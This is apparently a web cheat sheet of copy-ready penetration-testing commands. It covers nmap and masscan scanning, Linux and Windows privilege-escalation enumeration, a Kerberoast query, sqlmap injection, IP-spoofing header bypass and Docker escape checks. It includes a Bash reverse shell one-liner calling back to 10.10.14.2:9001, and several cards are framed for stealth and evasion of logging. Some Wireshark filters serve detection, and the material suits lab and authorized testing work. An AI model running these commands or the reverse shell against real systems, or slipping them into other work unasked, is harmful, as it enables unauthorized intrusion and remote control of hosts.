SECURITY TOOL BELT // CHEAT SHEET HUB
Battle-tested command references, stealth scanning flags, privilege escalation vectors, and network display filters. Features instant live variable injection for target IPs, ports, and reverse shell listeners.
Type your active target subnet or lab IP below. Every command card dynamically updates with your values ready to copy.
SYN Stealth Scan (Top 1000 Ports)
nmap -sS -T3 --open -oN syn_scan.txt 10.10.10.25CLICK TO COPYPerforms a stealth half-open TCP SYN scan. Does not complete the 3-way handshake, reducing log footprint on legacy application listeners.
Full Service Version & Default Scripts
nmap -sV -sC -p- -T4 -oA target_full 10.10.10.25CLICK TO COPYScans all 65,535 TCP ports, queries service banners, and executes default safe NSE scripts for protocol-level fingerprinting.
Automated Vulnerability NSE Audit
nmap --script vuln -p 8080 10.10.10.25CLICK TO COPYExecutes the entire Nmap Vulnerability script category against targeted ports to check for known CVEs (MS17-010, Shellshock, SSL heartbleed).
Fast UDP Top Port Discovery
nmap -sU --top-ports 50 -T4 10.10.10.25CLICK TO COPYProbes the top 50 most common UDP services (DNS, SNMP, TFTP, NTP, DHCP). UDP scanning is slower due to ICMP rate-limiting.
Ultra-Fast Subnet Sweep (Masscan)
masscan -p80,443,8080,8443 10.10.10.25/24 --rate=1000 -oG web_assets.gnmapCLICK TO COPYAsynchronous raw-socket scanner capable of sweeping large subnets in seconds. Ideal for discovering shadow IT and unmapped web listeners.
Find SUID & SGID Binaries
find / -perm -4000 -type f 2>/dev/nullCLICK TO COPYDiscovers executables that execute with root privileges regardless of which user invokes them. Cross-reference results with GTFOBins.
Audit Sudo Rights & Linux Capabilities
sudo -l ; getcap -r / 2>/dev/nullCLICK TO COPYChecks current user sudo permissions for NOPASSWD entries, followed by a recursive audit of POSIX file capabilities (like cap_setuid).
Enumerate Internal Sockets & Processes
ss -tulpn | grep -E 'LISTEN|ESTAB'CLICK TO COPYIdentifies network services listening exclusively on localhost (127.0.0.1) or internal interfaces that were invisible to external port scans.
Audit Cron Jobs & Systemd Timers
cat /etc/crontab /etc/cron.*/* 2>/dev/null ; systemctl list-timersCLICK TO COPYInspects system-wide scheduled tasks and systemd timers. Look for scripts executed by root that point to world-writable files.
Audit World-Writable Directories & Path Injection
find / -writable -type d 2>/dev/null | grep -v -E '/proc|/sys'CLICK TO COPYLocates directories where any low-privilege user has write permissions, identifying potential PATH hijack vectors.
Whoami Comprehensive Privileges & Token Check
whoami /priv /groups /fo listCLICK TO COPYInspects token privileges for exploitable rights such as SeImpersonatePrivilege (Potato exploits), SeBackupPrivilege, or SeDebugPrivilege.
Inspect Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """CLICK TO COPYLocates auto-start Windows services with executable paths containing spaces and missing surrounding quotation marks, allowing binary interception.
Active Directory SPN Kerberoast Query
powershell -ep bypass -c "Get-DomainUser -SPN | select samaccountname,serviceprincipalname"CLICK TO COPYQueries Active Directory domain controllers for user accounts tied to Service Principal Names (SPNs). The ticket hashes can be requested and cracked offline.
Wevtutil Failed Logons & Process Creation
wevtutil qe Security "/q:*[System[(EventID=4625 or EventID=4688)]]" /c:20 /rd:true /f:textCLICK TO COPYRapid command-line triage of the Windows Security Event Log. Extracts the 20 most recent failed logons (4625) and process creations (4688).
Native Built-in Domain Reconnaissance
net user /domain & net group "Domain Admins" /domain & nltest /dclist:corp.localCLICK TO COPYExecutes standard Windows administrative tools that do not require external tooling (Cobalt Strike, BloodHound), blending into normal sysadmin noise.
SYN Flood / Port Scan Traffic Detection
tcp.flags.syn == 1 and tcp.flags.ack == 0CLICK TO COPYFilters packets to identify pure TCP SYN packets without ACKs, characteristic of high-volume port scanning or SYN flood DoS attacks.
Hunt Cleartext HTTP Authentication & POSTs
http.request.method == "POST" and (http.file_data contains "password" or http.file_data contains "user" or http.authorization)CLICK TO COPYIsolates unencrypted web traffic transmitting login forms, session cookies, API tokens, or Basic Auth headers over cleartext HTTP.
DNS Tunneling & Base64 Exfiltration Detection
dns.flags.response == 0 and dns.qry.name.len > 40CLICK TO COPYDetects covert DNS tunneling protocols (iodine, dnscat2) by pinpointing unusually long outbound DNS queries carrying encoded payloads.
SMB2 Lateral Movement & File Staging
smb2.cmd == 5 and (smb2.filename contains ".exe" or smb2.filename contains ".ps1")CLICK TO COPYHighlights SMB file creation commands pushing executable binaries or PowerShell payloads across internal shares (PsExec, WMI staging).
Extract TLS Server Name Indication (SNI)
tls.handshake.extension.type == 0CLICK TO COPYSurfaces domain names being accessed inside encrypted TLS sessions via the plaintext ClientHello SNI extension, exposing C2 beacon domains.
Fast Directory & Endpoint Fuzzing (ffuf)
ffuf -u http://10.10.10.25/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,204,301,302,307,403 -cCLICK TO COPYBlazing-fast Go web fuzzer designed to locate hidden routes, administrative panels, exposed `.git` folders, and backup archives.
Interactive Bash Reverse Shell One-Liner
/bin/bash -i >& /dev/tcp/10.10.14.2/9001 0>&1CLICK TO COPYPure Bash TCP socket reverse shell. Opens a bi-directional interactive pseudo-terminal back to an operator netcat listener.
Automated SQL Injection Parameter Audit
sqlmap -u "http://10.10.10.25/api/profile?id=1" --batch --risk=2 --level=2 --dbsCLICK TO COPYConducts heuristics, boolean, time-based blind, and error-based SQLi probes against specific query parameters to enumerate back-end database names.
Reverse Proxy & IP Spoofing Header Bypass
curl -i -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" -H "X-Custom-IP-Authorization: 127.0.0.1" http://10.10.10.25/adminCLICK TO COPYProbes for perimeter reverse-proxy trust vulnerabilities where administrative access restrictions rely on forged client IP headers.
Audit Mounted Docker Sockets & Escape Vectors
ls -la /var/run/docker.sock 2>/dev/null ; find / -name "docker.sock" 2>/dev/nullCLICK TO COPYChecks if the Docker host daemon socket is mounted inside the container. If writable, container breakout to full host root is trivial.
Inspect Container Capabilities & Privileged Flags
docker inspect --format '{{.Name}} | Privileged={{.HostConfig.Privileged}} | Caps={{.HostConfig.CapAdd}}' $(docker ps -q)CLICK TO COPYHost-level audit iterating over all live Docker containers to identify high-risk configurations (e.g. `--privileged` or `CAP_SYS_ADMIN`).
Verify Container Environment from Inside (Cgroups)
cat /proc/1/cgroup | grep -i docker || cat /proc/self/status | grep -i CapEffCLICK TO COPYDetermines whether code is executing inside an isolated container, LXC guest, or bare-metal host, and prints effective Linux capability bitmasks.
Audit Ingested Environment Secrets & History
docker history --no-trunc <IMAGE_NAME> | grep -E -i 'api|token|pass|secret|key'CLICK TO COPYScans the build layer history of an image for build-time secrets and API keys inadvertently baked into intermediate Docker filesystem layers.